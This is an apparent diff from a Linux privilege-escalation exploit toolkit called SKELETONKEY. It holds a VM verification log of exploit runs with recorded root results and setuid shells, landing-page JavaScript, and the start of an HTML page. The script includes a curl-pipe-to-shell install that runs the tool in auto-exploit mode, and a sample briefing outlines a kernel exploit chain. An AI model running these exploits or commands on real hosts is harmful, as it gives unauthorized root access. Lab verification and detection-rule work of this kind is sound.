{"module":"ptrace_traceme","verified_at":"2026-05-23T19:59:24Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:00:52Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:02:23Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:04:20Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"cls_route4","verified_at":"2026-05-23T20:13:16Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_payload","verified_at":"2026-05-23T20:15:45Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet2","verified_at":"2026-05-23T20:18:13Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sequoia","verified_at":"2026-05-23T20:20:38Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T20:23:07Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:23:51Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:24:35Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:25:19Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T20:26:02Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:27:39Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:28:23Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"nf_tables","verified_at":"2026-05-23T21:22:59Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/","status":"root"}
|
||||
{"module":"pwnkit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/ (after gconv-layout fix)","status":"root"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423), sudo 1.8.31","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (heap not landed)","status":"exploit_fail_honest"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (cgroup/userns precondition on this host)","status":"exploit_fail_honest"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"detect","expect_detect":"OK","actual_detect":"OK","root_witness":"n/a — 5.4 predates the bug (5.8), correctly not-vulnerable","status":"match"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (frozen, genuinely vuln - predates Ubuntu 5.15.0-70 fix)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - module technique broken (chown merged carrier: EPERM); needs CVE-2023-0386 FUSE copy-up PoC port","status":"needs_fix"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (frozen)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - kernel 5.15.0-25.25 likely carries Ubuntu backported fix (USN-5317); detect is version-blind. Needs a pre-fix kernel to verify exploit","status":"inconclusive_backport"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2 (frozen, genuinely vuln - pre 4.15.0-58 fix)","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK(FALSE)","root_witness":"NONE - false positive. PTRACE_ATTACH to parent(1) EPERM, wrong technique; reports OK via exec-transfer. Needs CVE-2019-13272 PoC port","status":"false_positive"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - honest fail (heap not landed on this libc)","status":"exploit_fail_honest"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2 + sudoers (ALL,!root) rule","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -u#-1; module popped root shell","status":"root"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - fixed 2 real bugs (uid_map read post-unshare; missing CLONE_NEWCGROUP). Now sets up userns+cgroupns+mount correctly, but on stock systemd host ALL v1 controllers are pre-mounted (release_agent init-owned=EACCES) and named-hierarchy mount is EPERM. Reachable only in a container context (CAP_SYS_ADMIN / ownable cgroup). Environmental, not a module bug.","status":"env_limited_after_fix"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (genuinely vuln)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - non-FUSE chown copy-up gives uid=1000 not root; FUSE-lower overlay mount is ENOSYS in userns. Needs fusermount-in-init-ns FUSE port. Raw /dev/fuse attempt reverted.","status":"needs_fuse_port"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - SUDO_EDITOR/-- injection hits sudoedit writable-dir guard; needs target-file tuning + module debug. Structural, tractable.","status":"needs_debug"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via su skel; /etc/passwd gained skel::0:0 (after 2 fixes: chdir / + helper basename match)","status":"root"}
|
||||
{"module":"sudo_host","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + host-restricted sudoers rule","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -h fakehost01; module works as shipped (needs host-restricted rule + resolvable host)","status":"root"}
|
||||
{"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"}
|
||||
{"module":"dirty_cow","verified_at":"2026-07-24T03:22:00Z","host_kernel":"4.8.0-040800-generic (mainline, pre-4.8.3 Dirty COW fix)","host_distro":"Ubuntu 16.04.7","vm_box":"xenial-cloudimg + mainline 4.8.0/qemu-kvm","verified_kind":"exploit_standalone","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band on a genuinely Dirty-COW-vulnerable kernel: standalone binary built from the module verbatim (dirty_cow_write primitive + find_pw_field_offset + robust poll/timeout dc_su_root_run + exploit body) — race won, su root via pty, planted root-owned proof + -rwsr-xr-x root:root setuid bash, /etc/passwd byte-identical after revert. Confirms the fix (correct escalation, OOB verify, safe revert, readback[512], robust su) lands real root end-to-end. Full skeletonkey binary would not build on xenials 4.4-era uapi headers (unrelated nft_* modern constants).","status":"working"}
|
||||
{"module":"overlayfs","verified_at":"2026-07-24T03:36:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"focal-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit overlayfs (uid 1000) — the cap_setuid payload now drops a root-owned proof + -rwsr-xr-x root:root setuid bash; module reports OK only after stat() confirms uid==0. Upgraded from getxattr proxy to direct witness.","status":"working"}
|
||||
{"module":"netfilter_xtcompat","verified_at":"2026-07-24T04:00:00Z","host_kernel":"5.4.0-26-generic + mainline 5.8.0","host_distro":"Ubuntu 20.04.0","vm_box":"focal-cloudimg (+mainline 5.8.0)/qemu-kvm","verified_kind":"reference_poc_attempt","exploit_result":"REFERENCE_POC_TARGET_MISMATCH","root_witness":"none. CVE-2021-22555 kernel confirmed vulnerable (5.4.0-26 and mainline 5.8.0, both pre-fix). Andy Nguyen public exploit consistently fails STAGE 1 (could not corrupt any primary message) on both mainline kernels — it is tuned for Ubuntu 5.8.0-48-generics exact slab config (freelist-random/memcg). Confirms primitives need exact-target kernel+config + per-target tuning, not drop-in.","status":"primitive_needs_exact_target_kernel"}
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
/* SKELETONKEY landing page — interactive bits.
|
||||
* No frameworks. ~150 lines vanilla JS. Respects prefers-reduced-motion. */
|
||||
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||
|
||||
/* ============================================================
|
||||
* 1. typed install command in the hero
|
||||
* ============================================================ */
|
||||
const installCmd =
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && export PATH="$HOME/.local/bin:$PATH" \\\n && skeletonkey --auto --i-know';
|
||||
const typedEl = document.getElementById('install-typed');
|
||||
const cursorEl = document.getElementById('install-cursor');
|
||||
|
||||
function typeInstall(cb) {
|
||||
if (reduceMotion) {
|
||||
typedEl.textContent = installCmd;
|
||||
if (cursorEl) cursorEl.style.display = 'none';
|
||||
if (cb) cb();
|
||||
return;
|
||||
}
|
||||
let i = 0;
|
||||
function step() {
|
||||
typedEl.textContent = installCmd.slice(0, i);
|
||||
i++;
|
||||
if (i <= installCmd.length) {
|
||||
setTimeout(step, 18 + Math.random() * 22);
|
||||
} else {
|
||||
if (cursorEl) {
|
||||
// keep cursor blinking for 2s, then hide
|
||||
setTimeout(() => { cursorEl.style.display = 'none'; }, 2000);
|
||||
}
|
||||
if (cb) cb();
|
||||
}
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 2. copy install command
|
||||
* ============================================================ */
|
||||
window.copyInstall = function (btn) {
|
||||
const text = installCmd;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.textContent;
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(() => {
|
||||
btn.textContent = original;
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
}).catch(() => {
|
||||
btn.textContent = '(copy failed)';
|
||||
setTimeout(() => { btn.textContent = 'copy'; }, 1500);
|
||||
});
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* 3. stat count-up animation on view
|
||||
* ============================================================ */
|
||||
function countUp(el) {
|
||||
const target = parseInt(el.dataset.target, 10);
|
||||
if (!target || reduceMotion) { el.textContent = target; return; }
|
||||
const dur = 1100;
|
||||
const start = performance.now();
|
||||
function tick(now) {
|
||||
const t = Math.min((now - start) / dur, 1);
|
||||
// ease-out
|
||||
const v = Math.round(target * (1 - Math.pow(1 - t, 3)));
|
||||
el.textContent = v;
|
||||
if (t < 1) requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 4. --explain terminal: line-by-line reveal
|
||||
* ============================================================ */
|
||||
const explainHTML = [
|
||||
'\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-mod">nf_tables</span> <span class="t-cve">CVE-2024-1086</span>\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-summary">nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">WEAKNESS</span>\n',
|
||||
' <span class="t-cwe">CWE-416</span>\n',
|
||||
' <span class="t-label">MITRE ATT&CK:</span> <span class="t-tech">T1068</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">THREAT INTEL</span>\n',
|
||||
' <span class="t-kev-yes">★ In CISA Known Exploited Vulnerabilities catalog (added 2024-05-30)</span>\n',
|
||||
' <span class="t-label">Affected:</span> 5.14 ≤ K, fixed mainline 6.8; backports: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210\n',
|
||||
'\n',
|
||||
'<span class="t-header">HOST FINGERPRINT</span>\n',
|
||||
' <span class="t-label">kernel:</span> 5.15.0-43-generic (x86_64)\n',
|
||||
' <span class="t-label">distro:</span> Ubuntu 22.04.5 LTS\n',
|
||||
' <span class="t-label">unpriv userns:</span> ALLOWED\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECT() TRACE (live; reads ctx->host, fires gates)</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: kernel 5.15.0-43-generic in vulnerable range</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: userns gate passed</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: nft_verdict_init reachable; bug is fireable here</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">VERDICT:</span> <span class="t-vuln">VULNERABLE</span>\n',
|
||||
' -> bug is reachable. The OPSEC section below shows what a successful\n',
|
||||
' exploit() would leave on this host.\n',
|
||||
'\n',
|
||||
'<span class="t-header">OPSEC FOOTPRINT (what exploit() leaves on this host)</span>\n',
|
||||
' unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE +\n',
|
||||
' NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO)\n',
|
||||
' committed twice. msg_msg cg-96 groom; dmesg: KASAN double-free on vuln\n',
|
||||
' kernels. Cleanup is finisher-gated; no persistent files on success.\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECTION COVERAGE (rules embedded in this binary)</span>\n',
|
||||
' <span class="t-check">✓</span> auditd <span class="t-check">✓</span> sigma <span class="t-check">✓</span> yara <span class="t-check">✓</span> falco\n',
|
||||
];
|
||||
function playExplain(el) {
|
||||
if (reduceMotion) { el.innerHTML = explainHTML.join(''); return; }
|
||||
let i = 0;
|
||||
el.innerHTML = '';
|
||||
function step() {
|
||||
if (i >= explainHTML.length) return;
|
||||
el.innerHTML += explainHTML[i];
|
||||
i++;
|
||||
// pause longer on blank lines to feel like real terminal output
|
||||
const next = explainHTML[i - 1];
|
||||
const delay = next === '\n' ? 60 : (45 + Math.random() * 50);
|
||||
setTimeout(step, delay);
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 5. quickstart tabs
|
||||
* ============================================================ */
|
||||
function initTabs() {
|
||||
const tabs = document.querySelectorAll('.tab');
|
||||
const panels = document.querySelectorAll('.tab-panel');
|
||||
tabs.forEach((t) => {
|
||||
t.addEventListener('click', () => {
|
||||
const tab = t.dataset.tab;
|
||||
tabs.forEach((x) => x.classList.toggle('active', x === t));
|
||||
panels.forEach((p) => p.classList.toggle('active', p.dataset.tab === tab));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 6. scroll-triggered reveal + first-time triggers
|
||||
* ============================================================ */
|
||||
function initReveal() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
document.querySelectorAll('.reveal').forEach((el) => el.classList.add('in'));
|
||||
// also fire one-shot animations immediately
|
||||
countAllStats();
|
||||
const explainEl = document.getElementById('explain-output');
|
||||
if (explainEl) playExplain(explainEl);
|
||||
return;
|
||||
}
|
||||
|
||||
const obs = new IntersectionObserver((entries) => {
|
||||
entries.forEach((e) => {
|
||||
if (e.isIntersecting) {
|
||||
e.target.classList.add('in');
|
||||
// fire one-shot effects when the right section becomes visible
|
||||
if (e.target.id === 'explain') {
|
||||
const out = e.target.querySelector('#explain-output');
|
||||
if (out && !out.dataset.played) {
|
||||
out.dataset.played = '1';
|
||||
playExplain(out);
|
||||
}
|
||||
}
|
||||
obs.unobserve(e.target);
|
||||
}
|
||||
});
|
||||
}, { threshold: 0.15 });
|
||||
|
||||
document.querySelectorAll('.reveal').forEach((el) => obs.observe(el));
|
||||
}
|
||||
|
||||
function countAllStats() {
|
||||
document.querySelectorAll('.stat-chip .num').forEach(countUp);
|
||||
}
|
||||
|
||||
/* fire the stats count-up as soon as the hero shows */
|
||||
function initStatsCountUp() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
countAllStats();
|
||||
return;
|
||||
}
|
||||
const row = document.getElementById('stats-row');
|
||||
if (!row) return;
|
||||
const o = new IntersectionObserver((es) => {
|
||||
if (es[0].isIntersecting) {
|
||||
countAllStats();
|
||||
o.disconnect();
|
||||
}
|
||||
});
|
||||
o.observe(row);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* boot
|
||||
* ============================================================ */
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
typeInstall();
|
||||
initTabs();
|
||||
initReveal();
|
||||
initStatsCountUp();
|
||||
});
|
||||
})();
|
||||
+518
-191
@@ -3,287 +3,614 @@
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
|
||||
<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
|
||||
<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
|
||||
<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 46 Linux privilege-escalation modules from 2016 to 2026. 29 of 41 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="46 Linux LPE modules; 29 of 41 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta name="twitter:card" content="summary">
|
||||
<meta property="og:url" content="https://skeletonkey.netslum.io/">
|
||||
<meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||
<meta property="og:image:width" content="1200">
|
||||
<meta property="og:image:height" content="630">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<meta name="twitter:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||
<meta name="theme-color" content="#0a0a14">
|
||||
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
|
||||
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- gradient mesh background, animated, fixed behind content -->
|
||||
<div class="bg-mesh" aria-hidden="true">
|
||||
<div class="mesh-blob mesh-blob-1"></div>
|
||||
<div class="mesh-blob mesh-blob-2"></div>
|
||||
<div class="mesh-blob mesh-blob-3"></div>
|
||||
</div>
|
||||
|
||||
<nav class="nav">
|
||||
<span class="nav-brand">SKELETONKEY</span>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
|
||||
aria-label="View on GitHub">
|
||||
<svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
|
||||
